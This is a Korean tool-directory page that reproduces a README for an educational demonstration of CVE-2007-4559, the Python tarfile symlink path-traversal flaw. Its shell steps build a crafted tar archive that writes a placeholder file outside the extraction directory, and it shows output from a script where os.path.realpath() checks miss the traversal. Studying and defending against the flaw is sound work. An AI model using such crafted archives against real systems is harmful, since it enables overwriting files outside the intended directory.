Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2007-4559 — os.path.realpath()가 의도된 디렉토리 외부로의 추출을 방지하지 못하는 이유를 보여주는 스크립트와 함께 CVE-2007-4559 Python tarfile 심볼릭 링크 공격의 교육적 시연. | Kitploit
도구/GitHubGitHub/davidholiday/cve-2007-4559
Static AnalysisVulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityLearning & Education
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

os.path.realpath()가 의도된 디렉토리 외부로의 추출을 방지하지 못하는 이유를 보여주는 스크립트와 함께 CVE-2007-4559 Python tarfile 심볼릭 링크 공격의 교육적 시연.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2007-4559 시연

이게 무엇인가요?

이 문서는 파이썬 3.11.4 이전 버전에서 tar 파일 추출 시 기본 처리 방식이 간단한 심볼릭 링크 공격에 취약한 방법을 시연합니다. 아래 지침은 악성 페이로드를 제작하는 방법을 설명합니다. untar.py 스크립트는 3.11.4에 추가된 기능이 어떻게 작동하는지와 그 이유를 보여줍니다. 특히 모든 파일에 대해 모든 쓰기 전에 os.path.realpath()를 호출해야 하는 필요성을 강조합니다. 이 스크립트는 파이썬 >= 3.11.4에 포함된 추출 필터 기능에서 사용되는 것과 정확히 동일한 검사 방법을 사용합니다. 단, 파일을 디스크에 쓰지 않는다는 점이 다릅니다. 이를 통해 os.path.realpath()가 심볼릭 링크를 제대로 확인할 수 없어 tar 멤버가 의도된 파일 시스템 위치 외부에 기록될 수 있음을 보여줍니다.

무엇이 포함되어 있나요?

  • 샌드박스 설정 방법과 악성 tar 파일을 만드는 방법에 대한 지침 (이 파일)
  • 파이썬 스크립트 untar.py - 파이썬 tarfile 라이브러리에 최근 구현된 향상된 tar 검증의 '이유'를 보여줍니다. os.path.realpath() 작동 방식 때문에 해당 링크가 이미 파일 시스템에 존재하지 않으면 심볼릭 링크를 확인하는 데 의존할 수 없습니다. 즉, 아카이브를 추출하기 전에 tar 멤버 경로를 검사할 때 os.path.realpath()만으로는 충분하지 않습니다. 아카이브 내 모든 멤버에 대해 모든 쓰기 전에 os.path.realpath()를 호출하여 악성 링크 활동을 감지해야 합니다. 자세한 내용은 PEP-706 및 tarfile 문서를 참조하세요.

환경 및 악성 tar 파일 생성

  1. 테스트 환경 생성
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. ./lib 폴더를 tar 아카이브에 추가
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. ./lib 디렉토리를 "."로 향하는 같은 이름의 심볼릭 링크로 대체
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. 심볼릭 링크 "lib"을 아카이브에 추가
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. 심볼릭 링크 "lib"을 디렉토리와 파일로 대체
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. 상대 경로를 사용하여 파일을 아카이브에 추가
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. tar를 대상 디렉토리로 복사
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. tar 풀기. "dangerous_file"이 대상 디렉토리 외부에 풀렸습니다.
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

파이썬 스크립트 사용

  1. 이 저장소에서 untar.py를 다운로드하여 ./lab 디렉토리에 넣습니다.
  2. 스크립트를 실행합니다. 악성 심볼릭 링크가 대상 파일 시스템에 아직 기록되지 않은 경우 os.path.realpath()를 얼마나 쉽게 속일 수 있는지 확인하세요.
root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

추가 자료

  • [Python-Dev] tarfile 및 디렉토리 트래버설 취약점
  • 경고: 15년 된 Python tarfile 결함, '350,000개 이상'의 코드 프로젝트에 존재
  • 파이썬 3.11.4의 새로운 기능 이전에 tar 아카이브를 안전하게 추출하는 방법에 대한 SO 게시물
  • 파이썬 이슈 21109
  • tarfile 라이브러리의 오랜 유지보수 담당자(2019년 은퇴)의 2022년 성명
  • 파이썬 3.11.4에 도입된 새로운 추출 필터 기능 구현
도구 다운로드